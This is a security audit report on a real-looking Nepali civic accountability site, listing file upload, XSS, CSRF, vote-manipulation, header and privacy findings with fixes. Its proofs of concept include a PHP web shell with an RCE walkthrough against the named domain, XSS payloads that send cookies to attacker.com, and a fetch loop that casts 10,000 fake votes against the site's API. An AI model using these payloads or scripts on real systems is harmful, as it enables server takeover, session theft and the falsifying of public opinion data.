SECURITY AUDIT REPORT  |  TARGET: pratipakchya.com  |  DATE: 2026-04-12  |  CLASSIFICATION: PUBLIC DISCLOSURE
▸ VULNERABILITY ASSESSMENT

SECURITY
AUDIT

https://pratipakchya.com
Overall Risk
8.1
HIGH RISK
3
Critical
4
High
3
Medium
2
Low
2
Info

⬡ Attack Surface Map

/ Public data dashboard. JS-rendered. No auth. XSS via commitment fields if data ever loads. API endpoint exposed. High
/mp-portal/ File upload (no validation), text fields (XSS/injection), fake anonymity claim, no CSRF token, unauthenticated submission Critical
/mulyankan/ Voting system with no auth — vote manipulation, ballot stuffing, no rate limiting visible High
/api/* Unauthenticated API calls for public data. No visible rate limiting. Potential data scraping / enumeration. Medium
HTTP Headers Security headers (CSP, HSTS, X-Frame-Options, etc.) not verifiable from client — likely missing on static/CMS host High
🔟 OWASP Top 10 Coverage
A1
Broken Access Control ✓ HIT
Complaint form unauthenticated. Voting with no identity check. MPs cannot be verified as real submitters.
A2
Cryptographic Failures
Cannot confirm HTTPS enforcement, no evidence of encrypted data at rest for complaints/uploads.
A3
Injection ✓ HIT
Text areas (complaint body, contact field) with no visible sanitization. XSS and stored injection risk.
A4
Insecure Design
Anonymity promise without design guarantees. No threat model evident for civic data platform.
A5
Security Misconfiguration ✓ HIT
Missing security headers likely. Empty img src triggers extra requests. Probable default CMS settings.
A6
Vulnerable Components ✓ HIT
SVG/canvas map library, unknown JS dependencies — version unknown, unaudited third-party code.
A8
Software & Data Integrity ✓ HIT
File upload with no integrity checking. Uploaded "evidence" files are unvalidated and potentially executed.
A9
Logging & Monitoring Failures ✓ HIT
No visible monitoring. Fake success response means failed submissions are silently lost with no alert.
🔴 Critical Vulnerabilities 3 issues
SEC-001 Unrestricted File Upload — Remote Code Execution Risk Critical 9.8

The complaint form at /mp-portal/ includes a file upload field for "तस्विर वा कागजात" (Photo or Document). The HTML input has NO accept="" attribute restriction, meaning any file type can be selected and submitted. If the backend does not enforce strict MIME type validation and stores files inside the web root with their original extension, an attacker can upload a PHP/ASP/JSP shell script disguised as an image. When the server processes or serves that file, the script executes — giving the attacker full remote code execution on the web server.

Attack Vector
Network — any unauthenticated user worldwide
Affected Page
/mp-portal/ → File upload field
Impact
Full server compromise, data theft, defacement, use as attack pivot
CWE Reference
CWE-434: Unrestricted Upload of File with Dangerous Type
▸ PROOF OF CONCEPT — ATTACK SCENARIO
1. Attacker opens /mp-portal/ — no login required 2. Fills complaint form with any subject + description 3. Uploads file: "evidence.php" containing: <?php system($_GET['cmd']); ?> 4. Submits form — server saves file to /uploads/evidence.php 5. Attacker visits: https://pratipakchya.com/uploads/evidence.php?cmd=whoami 6. Server executes PHP → returns OS-level command output 7. Attacker escalates: dumps database, exfiltrates user data, pivots
▸ REMEDIATION
1. Client-side: Add accept="image/jpeg,image/png,image/webp,application/pdf" to the input (defense-in-depth only).
2. Server-side: Validate MIME type using file magic bytes — NOT the extension or Content-Type header.
3. Store uploads OUTSIDE web root (e.g., /var/uploads/ not /var/www/html/uploads/).
4. Rename uploaded files to a random UUID — never use the original filename.
5. Serve files via a controller that streams the file, never direct URL access.
6. Set max file size limit (e.g., 5MB) on both client and server.
SEC-002 Stored XSS via Complaint Text Fields Critical 9.0

The complaint form contains two free-text input areas: "गुनासो विवरण" (complaint description) and "सम्पर्क" (contact info). If these values are stored in a database and later displayed in an admin panel or public dashboard without HTML encoding/sanitization, any JavaScript injected by an attacker will execute in the admin's browser. This is Stored (Persistent) XSS — one of the most dangerous XSS variants because it targets privileged users like administrators, not random visitors.

Attack Vector
Network → stored → executes on admin/victim browser
Affected Fields
Complaint description textarea, Contact field
Impact
Admin account hijack, cookie theft, malware distribution, defacement
CWE Reference
CWE-79: Improper Neutralization of Input During Web Page Generation
▸ PROOF OF CONCEPT — PAYLOAD
// Attacker submits complaint with this in the description field: <script> fetch('https://attacker.com/steal?c=' + document.cookie); </script> // Or image-based XSS (bypasses some filters): <img src=x onerror="fetch('https://attacker.com/?s='+btoa(document.cookie))"> // When an admin views complaints, the script fires → steals session
▸ REMEDIATION
1. Always HTML-encode output: convert <&lt;, >&gt;, "&quot; before rendering.
2. Use a server-side sanitization library (e.g., DOMPurify on Node, HTMLPurifier on PHP).
3. Implement a strict Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self'
4. Set HttpOnly and Secure flags on all session cookies so they can't be stolen via JS.
5. Validate input on server: reject or strip HTML tags from plain-text fields.
SEC-003 Voting System Has No Authentication — Unlimited Vote Manipulation Critical 8.5

The /mulyankan/ (People's Assessment) page allows users to cast 👍/👎 votes on government actions. There is zero authentication required — no login, no phone verification, no CAPTCHA. The only defense (if any) would be a cookie or IP-based check, both of which are trivially bypassed. A single attacker or bot can cast thousands of votes in minutes, completely poisoning the civic data that this platform claims represents public opinion on government performance.

Attack Type
Vote stuffing / ballot manipulation via automation
Auth Required
None — fully anonymous, no rate limiting evident
Impact
Fabricated public approval data; platform loses credibility; political manipulation
CWE Reference
CWE-306: Missing Authentication for Critical Function
▸ PROOF OF CONCEPT — BOT SCRIPT CONCEPT
// Simple Node.js attack concept (for awareness only): for (let i = 0; i < 10000; i++) { fetch('https://pratipakchya.com/api/vote', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionId: 1, vote: 'support' }) }); // No token needed → 10,000 fake "support" votes in seconds } // Using rotating proxies bypasses any IP-based limit
▸ REMEDIATION
1. Require lightweight auth before voting: phone OTP, Google Sign-In, or Nepal citizen ID (NID).
2. If anonymous voting is required: use signed, single-use tokens (UUID stored in DB) — one per browser session.
3. Implement server-side rate limiting: max 1 vote per IP per action per hour.
4. Add CAPTCHA (Google reCAPTCHA v3 invisible) before vote submission.
5. Flag anomalous voting patterns (e.g., 100+ votes/minute from same subnet) and quarantine them.
🟠 High Severity Vulnerabilities 4 issues
SEC-004 No CSRF Protection on Complaint Submission High 7.5

The complaint form does not use a traditional HTML <form> tag and likely submits via JavaScript fetch. There is no visible CSRF token in the page HTML. Without a CSRF token, any malicious third-party website can trick a user's browser into silently submitting a fake complaint on their behalf — using their session/cookies — without their knowledge. For a civic platform where complaint authenticity matters, this is serious.

CWE
CWE-352: Cross-Site Request Forgery
Affected
/mp-portal/ complaint submission endpoint
▸ REMEDIATION
Include a server-generated CSRF token as a hidden field or request header (e.g., X-CSRF-Token). Validate it on every POST. Also set SameSite=Strict on session cookies.
SEC-005 False Anonymity Claim — PII & IP Likely Logged High 7.8

The complaint form prominently displays: "🔒 तपाईंको गुनासो गोप्य र बेनामी रहनेछ। / Your complaint is confidential and anonymous." However, the optional "सम्पर्क" (Contact) field collects personal information. More critically, web servers by default log the IP address of every request — including complaint submissions. If the server stores both the complaint content and the requester's IP (which it does unless explicitly configured not to), anonymity is technically impossible. This is a deceptive privacy claim that could expose political complainants in Nepal to real-world harm.

Risk
False privacy promise; legal liability; potential harm to citizens filing sensitive political complaints
Legal
May violate Nepal's Individual Privacy Act, 2018 (व्यक्तिगत गोपनीयता ऐन)
▸ REMEDIATION
Option A — True anonymity: disable server access logs for this endpoint, don't store contact info, hash or discard IP before DB write, use Tor-friendly submission.
Option B — Honest language: replace "anonymous" with "confidential — your identity is protected to the extent possible but submissions may be linked to your IP by server infrastructure."
SEC-006 Missing Security HTTP Headers High 7.2

Based on the site's structure (likely a static/CMS host without explicit header configuration), critical HTTP security headers are expected to be missing. These headers are the browser's first line of defense against XSS, clickjacking, MIME sniffing, and protocol downgrade attacks. Their absence leaves every user of the platform exposed.

Missing Headers
Content-Security-Policy
X-Frame-Options
X-Content-Type-Options
Strict-Transport-Security
Referrer-Policy
Permissions-Policy
Risks Without Them
• XSS amplification (no CSP)
• Clickjacking attacks (no X-Frame-Options)
• MIME confusion attacks
• SSL stripping / HTTP downgrade
• Data leakage via Referer header
▸ REMEDIATION — Add to server config (nginx/Apache/.htaccess)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Verify at: securityheaders.com
SEC-007 No Rate Limiting on Complaint Submission High 6.8

The complaint endpoint at /mp-portal/ accepts unauthenticated POST requests with no visible rate limiting. An attacker can flood the endpoint with thousands of fake complaints per second — either to spam/pollute the complaint database, exhaust server resources (DoS), or bury legitimate complaints with noise. Since the "success" state shows regardless of server response, the attacker gets no feedback to slow them down.

Attack Type
Spam flooding, Denial of Service, database pollution
CWE
CWE-799: Improper Control of Interaction Frequency
▸ REMEDIATION
Implement rate limiting: max 3 complaints per IP per hour. Add invisible reCAPTCHA v3 on submit. Use a CDN-level WAF rule (Cloudflare, AWS WAF) to block abuse patterns.
🟡 Medium Severity 3 issues
SEC-008 API Endpoint Enumeration & Data Scraping Medium 5.3

The site loads commitment, MP, and voting data from backend API endpoints (likely /api/commitments, /api/mps, /api/votes). These appear to be unauthenticated public endpoints. Without rate limiting or pagination guards, a single script can bulk-scrape the entire dataset — including 275 MP profiles, all complaints, and vote tallies — in seconds. Sensitive MP data or unmoderated complaint content could be exposed.

▸ REMEDIATION
Add rate limiting (100 req/min per IP) on all API endpoints. Implement pagination. Consider API keys for bulk data access. Filter sensitive fields (contact info in complaints) from public API responses.
SEC-009 SVG Map — Potential XSS via Inline SVG Medium 5.0

The constituency map at /mp-portal/ appears to be an inline SVG (or canvas) rendered directly in the DOM. Inline SVGs support JavaScript event handlers (onload, onclick, etc.). If the SVG map data is fetched from an API or user-influenced source without sanitization, an injected SVG payload could execute JavaScript. Additionally, SVG files accepted as "evidence uploads" in the complaint form are a known XSS vector — SVGs can contain embedded <script> tags.

▸ REMEDIATION
1. Never accept SVG as an upload type in the complaint form.
2. If rendering inline SVG from an API, sanitize it server-side with a strict SVG allowlist (DOMPurify with SVG config).
3. Serve SVG files as Content-Type: image/svg+xml from a sandboxed domain, not inline.
SEC-010 MP Profile Clickjacking via Empty Anchor Medium 4.8

The MP profile popup contains a link: [📋 विस्तृत प्रोफाइल](#) — a placeholder anchor pointing to #. Without X-Frame-Options: DENY, the entire site can be embedded in an iframe on a malicious page. An attacker overlays invisible buttons over real UI elements to trick users into clicking (e.g., submitting a pre-filled complaint or casting a vote) without their knowledge — a classic clickjacking attack.

▸ REMEDIATION
Add X-Frame-Options: DENY HTTP header (covered in SEC-006). Also add CSP: frame-ancestors 'none'. Replace all href="#" placeholder links — they also cause page-jump UX bugs.
🔵 Low / Informational 4 issues
SEC-011 Empty img src Triggers Unintended HTTP Request Low 3.1

MP photo rendered as <img src="" alt="MP Photo">. Some older browsers send a GET request to the current page URL when src is empty, causing an extra unintended HTTP request and possible request loop.

▸ FIX
Use a placeholder image path or conditionally render the tag: img[src=""] { display: none } via CSS.
SEC-012 Social Share Buttons May Leak URL Parameters Low 2.8

The commitment modal contains 𝕏 (Twitter), Facebook, and link share buttons. If the shared URL contains tracking parameters, complaint IDs, or session-related query strings, sharing could expose internal identifiers to third-party platforms. Referrer header leakage is also possible without a strict Referrer-Policy.

▸ FIX
Ensure shared URLs are clean canonical URLs only. Add Referrer-Policy: no-referrer to headers. Audit what parameters are included in share links.
SEC-013 No Subresource Integrity (SRI) on External Libraries Info 2.5

If any JavaScript libraries are loaded from external CDNs without Subresource Integrity (SRI) hashes, a compromised CDN could serve malicious JS to all visitors. This is a supply-chain attack vector.

▸ FIX
Add integrity="sha384-..." and crossorigin="anonymous" to all external <script> and <link> tags. Generate hashes at: srihash.org
SEC-014 No Visible Privacy Policy or Data Retention Notice Info 2.0

The site collects complaint data (potentially with contact info and file uploads) with no visible privacy policy page, data retention period, or disclosure of what happens to submitted data. This is both a legal compliance issue and a trust concern for a civic accountability platform.

▸ FIX
Publish a privacy policy (गोपनीयता नीति) explaining: what data is collected, how long it is stored, who can access it, and how to request deletion. Link it in the footer.